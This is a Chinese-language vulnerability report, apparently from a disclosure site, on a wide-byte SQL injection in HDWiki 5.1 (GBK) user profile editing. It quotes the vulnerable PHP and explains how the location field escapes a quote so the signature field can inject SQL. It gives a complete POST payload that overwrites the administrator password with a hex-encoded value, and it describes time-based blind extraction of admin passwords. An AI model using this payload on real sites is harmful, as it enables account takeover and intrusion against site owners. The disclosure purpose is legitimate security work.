### 简要描述:
最新版HDWIKI 5.1 GBK
无视GPC
上首页吧!
### 详细说明:
问题出在\hdwiki\control\user.php下
最新版HDWIKI 5.1 GBK版本
HDWIKI全局过滤,但是面对宽字节注入,就容易出问题了
```
function doeditprofile(){
if(isset($this->post['submit'])){
$gender = intval($this->post['gender']);
$birthday = strtotime($this->post['birthday']);
$location = $this->post['location'];
$signature = $this->post['signature'];
if (WIKI_CHARSET == 'GBK'){
$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));
$_ENV['user']->set_profile($gender,$birthday,$location,$signature,$this->user['uid']);
}else{
if(0 == $this->user['birthday']){
$birthday = '';
}else{
$birthday=$this->setting['time_offset']*3600+$this->setting['time_diff']*60+$this->user['birthday'];
$birthday = date('Y-m-d',$birthday);
}
$this->view->assign('birthday',$birthday);
//$this->view->display('editprofile');
$_ENV['block']->view('editprofile');
}
}
```
关键代码是
```
$location = string::hiconv($location);
$signature = string::hiconv($signature);
}
$location = htmlspecialchars($location);
$signature = htmlspecialchars(str_replace(array('\n','\r'),'',$signature));
```
HDWIKI在大部分编码转换之后的地方都会addslashes
这里我们跟进这个函数set_profile()
```
function set_profile($gender,$birthday,$location,$signature,$uid){
$this->db->query("UPDATE `".DB_TABLEPRE."user` SET gender = '$gender',birthday = '$birthday',location = '$location',signature = '$signature' WHERE uid = $uid");
```
进入mysql前并没有进行addslashes
而且我们有$location,$signature
思路是让location引入\注释后面的单引号 由signature来注入
由于没有开display_error ,我们延时看看
[](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png)
我们就能盲注查询管理员密码
但是有时候密码是破不出来的,怎么办呢
我们其实可以替换管理员密码
先说说HDWKI的表构造
由于管理员和普通的账号都存储在wiki_user下,所以这里由于是update的是这个表
但是问题来了
我们引入password的时候 格式一般都是
```
password='b5ebc89058e80ef0189090a0390109e4'
```
但是这里是无法引入单引号的(会被addslashes),而不打单引号又会被当成表名,不被识别为value。
这里用要一个小技巧
MYSQL对十六进制是能够自动识别 转换的。
比如
[](https://images.seebug.org/upload/201502/27215809fd505a9b3349c9711c96873b05922f7d.png)
这样我们就能绕过单引号而update管理员密码了
我们先本地用脚本转换ascii为hex
```
echo bin2hex($_GET[a]);
?>
```
然后向http://localhost/hdwiki/index.php?user-editprofile
post
```
gender=0&birthday=2015-02-18&location=%E9%8C%A6%27&signature=, password=0x3231323332663239376135376135613734333839346130653461383031666333#&submit=true
```
成功修改密码
[](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png)
### 漏洞证明:
我们延时看看
[](https://images.seebug.org/upload/201502/27214125da4f1cae21a239a97fa5f2a32f42dc3b.png)
成功修改密码
[](https://images.seebug.org/upload/201502/27220549d30aa32bc4d6cc30aef505b839100430.png)